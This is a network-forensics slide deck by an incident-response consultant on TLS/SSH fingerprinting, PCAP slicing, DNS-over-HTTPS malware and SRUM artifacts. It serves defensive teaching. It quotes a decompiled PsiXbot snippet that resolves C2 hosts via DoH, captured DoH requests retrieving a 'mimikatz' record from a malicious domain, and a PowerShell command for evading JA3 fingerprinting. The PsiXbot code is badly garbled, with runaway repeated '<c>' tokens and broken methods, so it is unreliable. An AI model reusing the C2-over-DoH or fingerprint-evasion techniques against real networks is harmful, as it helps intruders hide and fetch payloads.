Network Forensics Analysis

Rami AlTalhi
Incident Response Consultant @ Cisco Talos
Hello!

I’m Rami AlTalhi
Incident Response Consultant @ Cisco Talos

raltalhi@outlook.com
Agenda

- What is network forensics?
- Tools & Platforms
- Network Forensics Challenges
- Handling huge PCAP by slicing
- APT Investigation Use-Cases
What is Network Forensics?

Is a sub-branch of digital forensics relating to the monitoring and analysis of computer network traffic for the purposes of information gathering, legal evidence, or intrusion detection - Wikipedia
Network Data Sources

- PCAP
- Netflow
- Connection logs (Proxy, Web, PC/Servers ..etc.)
- DNS
- Host Artifacts (network sockets, SRUM ..etc)
Tools & Platforms

- Wireshark and Tshark
- Tcpdump
- Zeek
- Snort, Suricata
- NetworkMiner
- Unix-like utilities
- Arkime (Formerly Moloch)
- SecurityOnion
- Others
Network Forensics Challenges
The Challenges

- Inventory Assets
- Network Baselining
- Encryption (TLS, SSH, RDP and others)
- Data sources availability & Usability
Basic CIS Controls

1. Inventory and Control of Hardware Assets
2. Inventory and Control of Software Assets
3. Continuous Vulnerability Management
4. Controlled Use of Administrative Privileges
5. Secure Configuration for Hardware and Software on Mobile Devices, Laptops, Workstations and Servers
6. Maintenance, Monitoring and Analysis of Audit Logs
Network Baselining

- To find normal and abnormalities in the network
- Many factors can be used for baselining, such as:
  - Packet length
  - Duration
  - Payload entropy
  - Egress and Ingress

![Byte size graph](chart.png)
Network Profiling

- JA3
- JA3S
- JARM
- HASSH & HASSHServer - SSH Fingerprint
- RDP
- Community-id
It is MD5 hash value from TLS client hello packet

It does calculate MD5 hash value based on:
- TLS version
- Accepted Ciphers
- List of Extensions
- Elliptic Curves
- Elliptic Curve Formats
JA3S

- It is MD5 hash value from TLS server hello packet.
- It does calculate MD5 hash value based on:
  - TLS version
  - Accepted Ciphers
  - List of Extensions
Tor TLS Profiling

Standard Tor Client:

JA3 = e7d705a3286e19ea42f587b344ee6865 (Tor Client)

JA3S = a95ca7eab4d47d051a5cd4fb7b6005dc (Tor Server Response)
Malicious TLS Profiling

Trickbot malware:

\[
\begin{align*}
    \text{JA3} &= 6734f37431670b3ab4292b8f60f29984 \quad (\text{Trickbot}) \\
    \text{JA3S} &= 623de93db17d313345d7ea481e7443cf \quad (\text{C2 Server Response})
\end{align*}
\]

Emotet malware:

\[
\begin{align*}
    \text{JA3} &= 4d7a28d6f2263ed61de88ca66eb011e3 \quad (\text{Emotet}) \\
    \text{JA3S} &= 80b3a14bccc8598a1f3bbe83e71f735f \quad (\text{C2 Server Response})
\end{align*}
\]
https://ja3er.com

JA3 SSL Fingerprint

Your fingerprint (MD5 of JA3) is:

b20b44b18b853ef29ab773e921b03422

Your fingerprint full JA3 is


Search JA3 hash

b20b44b18b853ef29ab773e921b03422

Search for JA3 hash

Currently 5595 unique JA3 hashes in DB
JA3 Search Engine

https://sslbl.abuse.ch/ja3-fingerprints

JA3 Fingerprints

Here you can browse a list of malicious JA3 fingerprints identified by SSLBL. JA3 is an open source tool used to fingerprint SSL/TLS client applications. In the best case, you can use JA3 to identify malware traffic that is leveraging SSL/TLS.

Caution!

The JA3 fingerprints below have been collected by analysing more than 25,000,000 PCAPs generated by malware samples. These fingerprints have not been tested against known good traffic yet and may cause a significant amount of FPs!

<table>
<thead>
<tr>
<th>Listing Date (UTC)</th>
<th>JA3 Fingerprint</th>
<th>Listing Reason</th>
<th>Malware Samples</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-06-20 14:09:25</td>
<td>1aa7bf8bf97e540ca5edd75f7b8384bfa</td>
<td>TrickBot</td>
<td>1'362</td>
</tr>
<tr>
<td>2019-05-20 05:19:27</td>
<td>3ca52da4ade09f1f781ad2e82dcefa20</td>
<td>Qualbot</td>
<td>272</td>
</tr>
<tr>
<td>2019-05-19 07:24:04</td>
<td>7dd50e112cd23734a310b50ff64a7cd</td>
<td>Qualbot</td>
<td>304</td>
</tr>
<tr>
<td>2019-02-22 07:10:33</td>
<td>1be3ecebe5af9d3654e6e703d816928</td>
<td>Ransomware Trolol</td>
<td>2'308</td>
</tr>
<tr>
<td>2019-02-20 16:10:52</td>
<td>c5235d3a8b9934bc7bbdb204d50bc058d</td>
<td>Gooolkit</td>
<td>42</td>
</tr>
<tr>
<td>2019-02-15 14:07:00</td>
<td>e6a25f4d538cb169c2a71bec2399b4</td>
<td>TrickBot</td>
<td>4'915</td>
</tr>
<tr>
<td>2019-02-14 13:25:15</td>
<td>d293c58fe676744f6c8614ee5356c7</td>
<td>Advanced</td>
<td>429</td>
</tr>
<tr>
<td>2018-12-31 07:55:54</td>
<td>defc6b4ba53789ebe081bb8aabb58ee34</td>
<td>Advanced</td>
<td>136</td>
</tr>
</tbody>
</table>
JA3 Impersonation

- JA3 can be impersonated!
- Changing the cipher suites or TLS version will change JA3 fingerprint
- Other factor is needed to tackle this issue:
  - Other TLS characteristics/extensions
  - Host correlation
TLS Impersonation

PS C:\> Enable-TlsCipherSuite -Name "TLS_DHE_DSS_WITH_AES_256_CBC_SHA" -Position 999999999
JA3 and JA3S Limitations

- JA3 & JA3S is mainly based on TLS cipher suites
- Does not look at different TLS characteristics
- This make JA3 not very unique, and some clients share same MD5
- Can be manipulated by changing the cipher suites extension
- Application-Layer Protocol Negotiation (ALPN) makes TLS more unique
ALPN - Safari vs Chrome

Apple Safari

- Extension: application_layer_protocol_negotiation (len=48)
  - Type: application_layer_protocol_negotiation (16)
  - Length: 48
  - ALPN Extension Length: 46

- ALPN Protocol
  - ALPN string length: 2
  - ALPN Next Protocol: h2
  - ALPN string length: 5
  - ALPN Next Protocol: h2-16
  - ALPN string length: 5
  - ALPN Next Protocol: h2-15
  - ALPN string length: 5
  - ALPN Next Protocol: h2-14
  - ALPN string length: 8
  - ALPN Next Protocol: spd/3.1
  - ALPN string length: 6
  - ALPN Next Protocol: spd/3
  - ALPN string length: 8
  - ALPN Next Protocol: http/1.1

- Extension: ec_point_formats (len=2)
- Extension: supported_groups (len=10)

Google Chrome

- Extension: application_layer_protocol_negotiation (len=14)
  - Type: application_layer_protocol_negotiation (16)
  - Length: 14
  - ALPN Extension Length: 12

- ALPN Protocol
  - ALPN string length: 2
  - ALPN Next Protocol: h2
  - ALPN string length: 8
  - ALPN Next Protocol: http/1.1

- Extension: status_request (len=5)
- Extension: signature_algorithms (len=20)
- Extension: key_share (len=43)
- Extension: psk_key_exchange_modes (len=2)
- Extension: supported_versions (len=11)
  - Type: supported_versions (43)
  - Length: 11
  - Supported Versions length: 10
  - Supported Version: Unknown (0x8a8a)
  - Supported Version: TLS 1.3 (0x0304)
  - Supported Version: TLS 1.2 (0x0303)
  - Supported Version: TLS 1.1 (0x0300)
  - Supported Version: TLS 1.0 (0x0301)

Image from ntop.org
HASSH & HASSHServer

- MD5 hash value from the set of algorithm in SSH protocol after TCP handshake
- These algorithm called “SSH_MSG_KEXINIT” messages
- It is transferred in clear-text and can be captured by any MITM
- It does include the server and client application string
Why HASSH & HASSHServer?

- To attribute the SSH connections with greater accuracy than only by IP
- If the IP is behind NAT device, you can fingerprint it regardless its IP
- Analogous to HTTP User-Agents
HASSH & HashServer

https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c?gi=1b6a5a239dfe
# HASSH Algorithm (client)

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Port</th>
<th>Protocol</th>
<th>Length</th>
<th>Flags</th>
<th>Execution</th>
</tr>
</thead>
<tbody>
<tr>
<td>2020-04-30 03:29:08.334098</td>
<td>192.168.72.1</td>
<td>52483</td>
<td>TCP</td>
<td>66,52483</td>
<td>22</td>
<td>22 + 52483 [SYN, ACK] Seq=0 Ack=1 Win=20480 Len=0 MSS=1600 SACK_PERM=1 WS=128</td>
</tr>
<tr>
<td>2020-04-30 03:29:08.335293</td>
<td>192.168.72.1</td>
<td>52483</td>
<td>TCP</td>
<td>66,52483</td>
<td>22</td>
<td>22 + 52483 [SYN, ACK] Seq=0 Ack=1 Win=20480 Len=0 MSS=1600 SACK_PERM=1 WS=128</td>
</tr>
<tr>
<td>2020-04-30 03:29:08.335433</td>
<td>192.168.72.1</td>
<td>52483</td>
<td>TCP</td>
<td>66,52483</td>
<td>22</td>
<td>22 + 52483 [SYN, ACK] Seq=0 Ack=1 Win=20480 Len=0 MSS=1600 SACK_PERM=1 WS=128</td>
</tr>
<tr>
<td>2020-04-30 03:29:08.337736</td>
<td>192.168.72.1</td>
<td>52483</td>
<td>TCP</td>
<td>66,52483</td>
<td>22</td>
<td>22 + 52483 [SYN, ACK] Seq=0 Ack=1 Win=20480 Len=0 MSS=1600 SACK_PERM=1 WS=128</td>
</tr>
</tbody>
</table>


**SSH Protocol**
- SSH Version 2 (encryption:chacha20-poly1305@openssh.com mac:<implicit> compression:none)
- Packet Length: 1316
- Padding Length: 9
- Key Exchange
  - Message Code: Key Exchange Init (20)
  - Key Exchange
    - Message: 384
      - kex algorithms string (truncated): curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha512,diffie-hellman-group1-sha1
# HasshServer Algorithm (server)

| Date       | Time       | Source IP             | Destination IP        | Protocol | Source Port | Destination Port | Server: Key Exchange Init | Client: Elliptic Curve Diffie-Hellman
|------------|------------|-----------------------|-----------------------|----------|-------------|----------------------|----------------------------|---------------------------------


SSH Version 2 (encryption: chacha20-poly1305@openssh.com, mac: {implicit}, compression: none)
Packet Length: 972
Padding Length: 10

Key Exchange
Message Code: Key Exchange Init (20)

Algorithms
- Cookie: b966303ec03d3d67a776724541e508f9
- kex_algorithms length: 150
- kex_algorithms string: curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha1
- server_host_key_algorithms length: 65
- server_host_key_algorithms string: ssh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519
<table>
<thead>
<tr>
<th>Time</th>
<th>Source IP</th>
<th>Destination IP</th>
<th>Protocol</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Seq</th>
<th>Ack</th>
<th>Win</th>
<th>Len</th>
</tr>
</thead>
<tbody>
<tr>
<td>2020-04-30</td>
<td>192.168.72.1</td>
<td>192.168.72.154</td>
<td>TCP</td>
<td>66</td>
<td>52483</td>
<td>22</td>
<td></td>
<td>52483</td>
<td>22</td>
</tr>
<tr>
<td></td>
<td>192.168.72.1</td>
<td>192.168.72.154</td>
<td>TCP</td>
<td>66</td>
<td>22</td>
<td>52483</td>
<td></td>
<td>52483</td>
<td></td>
</tr>
<tr>
<td></td>
<td>2020-04-30</td>
<td>192.168.72.1</td>
<td>SSHisv2</td>
<td>87</td>
<td>52483</td>
<td>22</td>
<td></td>
<td>52483</td>
<td></td>
</tr>
</tbody>
</table>

**Client: Protocol (SSH-2.0-OpenSSH_for_Windows_7.7)**

**Server: Protocol (SSH-2.0-OpenSSH_for_Windows_7.7.2p2 Ubuntu-4ubu)**

**Client: Key Exchange Init**

**Server: Key Exchange Init**

**Client: Elliptic Curve Diffie-Hellman Key Exchange**

**Server: Elliptic Curve Diffie-Hellman Key Exchange**

**Client: New Keys**

**Server: New Keys**

**Client: Encrypted packet (len=44)**

**Server: Encrypted packet (len=44)**

**Protocol: SSH-2.0-OpenSSH_for_Windows_7.7**

(Direction: client-to-server)
SSH Handshake as Covert Channel

- Attacker can code a malware to exfiltrate sensitive data through “SSH_MSG_KEXINIT” packets
- DNS exfiltration alike
- Have fun getting the logs and identify the exfiltration!
- Attacker will be able to decode & exploit them
- Anomaly detection is the way to detect it
JARM Fingerprint
JARM is an active Transport Layer Security (TLS) server fingerprinting tool.

Scanning with JARM provides the ability to identify and group malicious servers on the Internet.

https://github.com/salesforce/jarm
Why JARM?

- Quickly verify that all servers in a group have the same TLS configuration.
- Group disparate servers on the internet by configuration, identifying that a server may belong to Google vs. Salesforce ..etc.
- Identify malware command and control infrastructure and other malicious servers on the Internet.

JARM in Action

```bash
~/JARM$ python3 jarm.py salesforce.com
Domain: salesforce.com
Resolved IP: 184.31.10.133
JARM: 2ad2ad0002ad2ad00042d42d000000d71691dd6844b6fa08f9c5c2b4b882cc
```

```bash
~/JARM$ python3 jarm.py force.com
Domain: force.com
Resolved IP: 184.25.179.132
JARM: 2ad2ad0002ad2ad00042d42d000000d71691dd6844b6fa08f9c5c2b4b882cc
```

```bash
~/JARM$ python3 jarm.py google.com
Domain: google.com
Resolved IP: 216.58.207.110
JARM: 27d40d40d29d40d1dc42d43d00041d4689ee210389f4f6b4b5b1b93f92252d
```

```bash
~/JARM$ python3 jarm.py youtube.com
Domain: youtube.com
Resolved IP: 216.58.207.110
JARM: 27d40d40d29d40d1dc42d43d00041d4689ee210389f4f6b4b5b1b93f92252d
```
Is JARM Accurate?

- Absolutely not!
- CobaltStrike (Adversary Simulation Tool) have JARM similarities with Java 11 TLS
- If you break the JARM rules, you get other JARM value
- Iteration over server TLS version and cipher suites can be automated, good luck for finding the JARM fingerprint though 😊
RDP Protocol

- RDP communication is encrypted using TLS
- We can still identify some information from RDP such as “username”
Community-id

- Standardized flow hashing
- Based on 5-tuples (src IP, dst IP, src port, dst port and transport protocol)
- Simplifying the pivoting from different datasets
PCAP Slicing
Slicing and Merging

Slicing the packets based on
- Timeline
- Number of packets
- Protocol
- src or dst IPs
- Conversation
- Anything filterable!
Slice and Merge

-A **<start time>**
only output packets whose timestamp is after (or equal to) the
given time (format as YYYY-MM-DD hh:mm:ss).

-B **<stop time>** only output packets whose timestamp is
before the given time (format as YYYY-MM-DD hh:mm:ss).
Slicing and merging

```
$ editcap -c 1000 tcp.pcap  tcp_analysis.pcap
$ ls
 tcp_analysis_00000_20191027171723.pcap
 tcp_analysis_00003_20191027171739.pcap
 tcp_analysis_00006_20191027171752.pcap
 tcp_analysis_00009_20191027171905.pcap
 tcp_analysis_00001_20191027171727.pcap
 tcp_analysis_00004_20191027171739.pcap
 tcp_analysis_00007_20191027171903.pcap
 tcp_analysis_00002_20191027171739.pcap
 tcp_analysis_00005_20191027171739.pcap
 tcp_analysis_00008_20191027171905.pcap
 tcp_analysis_00010_20191027172055.pcap
```
Merging them all together

mergecap -w out.pcap a.pcap b.pcap
Scanning for pattern and signatures

Snort -r file.pcap -c snort.conf -l
Use Cases
DNS over HTTPS
Malwares
What is DoH?

- DNS over HTTPs (443/tcp)
- Querying DNS via HTTPS
- More privacy and make security analyst job harder
- Couple of browsers supported it (Firefox, Chrome ..etc.)
- Adversary is welcoming DoH to hide in the haystack
PsiXbot Malware
private static string[] enc = new string[]
{
    "ZcdHdhyKzATQfgy6yHmWqAr1JW",
    "ZpwpzHX0AVWbWaqHiwujzW"
};

public static void Init()
{
    ServicePointManager.Expect100Continue = true;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    if (GlobalVars.check == 2)
    {
        GlobalVars.check = 0;
        GlobalVars.Valid = GlobalVars.GetDns();
        GlobalVars.Address = GlobalVars.DOH();
        GlobalVars.cur = 0;
        GlobalVars.check++;
        GlobalVars.first = false;
    }
}

private static string GetDns()
{
    return AC4.Decrypt(GlobalVars.Key, GlobalVars.enc[GlobalVars.check]);
}

private static string[] DOH()
{
    WebClient webClient = new WebClient();
    webClient.BaseAddress = "https://dns.google.com";
    if (text.Contains("Comment"))
    {
        text = text.Substring(0, text.IndexOf("Comment"));
    }
    MatchCollection matchcollection = new Regex("\\b(\d{1,3})\.|(\d{1,3})\.|(\d{1,3})\.|(\d{1,3})\b").Matches(text);
    if (matchcollection.Count == 0)
    {
        return null;
    }
    IEnumerator<Match> arg_97_0 = matchcollection.Cast<Match>().GetEnumerator();
    Func<Match, string> arg_97_1;
    if ((arg_97_1 = GlobalVars.<c>c.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c/>.html"");
    arg_97_0.MoveNext();
    arg_97_0.Dispose();
    arg_97_1 = GlobalVars.<c>c.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c>.<c/>.html"");
    return arg_97_0.FirstOrDefault();
    
    public static string GetMemberName<T>(Expression<Func<T>> memberExpression)
    {
        return (memberExpression.memberExpression.Body).Member.Name;
    
    
GET /resolve?name=fnoetwotb4nwob524o.hk&type=A HTTP/1.1
Host: dns.google.com
Connection: Keep-Alive

Downloading Malware Binaries using DoH
Extensions Length: 93
  ▼ Extension: server_name (len=19)
    Type: server_name (0)
    Length: 19
  ▼ Server Name Indication extension
    Server Name list length: 17
    Server Name Type: host_name (0)
    Server Name length: 14
    Server Name: dns.google.com
  ▼ Extension: ec_point_formats (len=4)
    Type: ec_point_formats (11)
    Length: 4
    EC point formats length: 3
[Application Data Protocol: http-over-tls]

Hypertext Transfer Protocol

GET /resolve?name=mimikatz_0.packetclass.com&type=TXT&dnssec=false HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36

Accept: application/dns-json

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Host: dns.google.com

Connection: Keep-Alive

[Full request URL: https://dns.google.com/resolve?name=mimikatz_0.packetclass.com&type=TXT&dnssec=false]

[HTTP request 1/23]

[Response in format: A2]
SRUM as a network artifact
What is SRUM?

- System Resource Utilization Monitor
- One of valuable artifact for Windows OS
- Located at “C:\Windows\System32\sru“
- Very useful to map binaries with network bytes sent and received
- Great artifact to investigate data exfiltration
<table>
<thead>
<tr>
<th>Timestamp</th>
<th>App Name</th>
<th>Bytes Sent</th>
<th>Bytes Received</th>
</tr>
</thead>
<tbody>
<tr>
<td>2/17/2021 13:04</td>
<td>tstunnel.exe</td>
<td>8,057</td>
<td>14,199</td>
</tr>
<tr>
<td>2/17/2021 14:05</td>
<td>tstunnel.exe</td>
<td>12,547,873</td>
<td>791,574</td>
</tr>
<tr>
<td>2/17/2021 15:06</td>
<td>tstunnel.exe</td>
<td>1,196,254</td>
<td>131,582</td>
</tr>
<tr>
<td>2/17/2021 16:07</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,174</td>
</tr>
<tr>
<td>2/17/2021 17:08</td>
<td>tstunnel.exe</td>
<td>350,762</td>
<td>159,972</td>
</tr>
<tr>
<td>2/18/2021 09:03</td>
<td>tstunnel.exe</td>
<td>54</td>
<td>0</td>
</tr>
<tr>
<td>2/18/2021 10:03</td>
<td>tstunnel.exe</td>
<td>3,016,507</td>
<td>175,098</td>
</tr>
<tr>
<td>2/18/2021 11:03</td>
<td>tstunnel.exe</td>
<td>368,695</td>
<td>101,567</td>
</tr>
<tr>
<td>2/18/2021 12:04</td>
<td>tstunnel.exe</td>
<td>111,024</td>
<td>45,092</td>
</tr>
<tr>
<td>2/18/2021 13:05</td>
<td>tstunnel.exe</td>
<td>15,283</td>
<td>11,366</td>
</tr>
<tr>
<td>2/18/2021 14:06</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,174</td>
</tr>
<tr>
<td>2/18/2021 15:07</td>
<td>tstunnel.exe</td>
<td>54</td>
<td>0</td>
</tr>
<tr>
<td>2/21/2021 12:54</td>
<td>tstunnel.exe</td>
<td>527,880</td>
<td>118,050</td>
</tr>
<tr>
<td>2/21/2021 13:55</td>
<td>tstunnel.exe</td>
<td>11,837</td>
<td>12,385</td>
</tr>
<tr>
<td>2/21/2021 14:56</td>
<td>tstunnel.exe</td>
<td>2,287,635</td>
<td>138,807</td>
</tr>
<tr>
<td>2/21/2021 15:57</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,114</td>
</tr>
<tr>
<td>2/21/2021 16:58</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,174</td>
</tr>
<tr>
<td>2/21/2021 17:59</td>
<td>tstunnel.exe</td>
<td>1,391</td>
<td>2,234</td>
</tr>
<tr>
<td>3/23/2021 16:54</td>
<td>tstunnel.exe</td>
<td>2,815</td>
<td>4,092</td>
</tr>
<tr>
<td>3/26/2021 00:07</td>
<td>tstunnel.exe</td>
<td>3,508</td>
<td>9,524</td>
</tr>
<tr>
<td>3/26/2021 01:08</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,114</td>
</tr>
<tr>
<td>3/26/2021 02:09</td>
<td>tstunnel.exe</td>
<td>1,337</td>
<td>2,174</td>
</tr>
<tr>
<td>3/26/2021 03:09</td>
<td>tstunnel.exe</td>
<td>1,391</td>
<td>2,174</td>
</tr>
<tr>
<td>3/30/2021 10:00</td>
<td>tstunnel.exe</td>
<td>17,800,420</td>
<td>837,675</td>
</tr>
<tr>
<td>3/30/2021 11:00</td>
<td>tstunnel.exe</td>
<td>16,797,984</td>
<td>832,828</td>
</tr>
<tr>
<td>3/30/2021 12:01</td>
<td>tstunnel.exe</td>
<td>7,477,847</td>
<td>194,640</td>
</tr>
<tr>
<td>3/30/2021 13:02</td>
<td>tstunnel.exe</td>
<td>2,263</td>
<td>3,816</td>
</tr>
</tbody>
</table>
References

- https://ja3er.com
- https://sslbl.abuse.ch/ja3-fingerprints
- Salesforce.com
- Cisco.com
- https://github.com/corelight/community-id-spec
- netresec.com
- ntop.org
- blog.didierstevens.com
Thank you 😊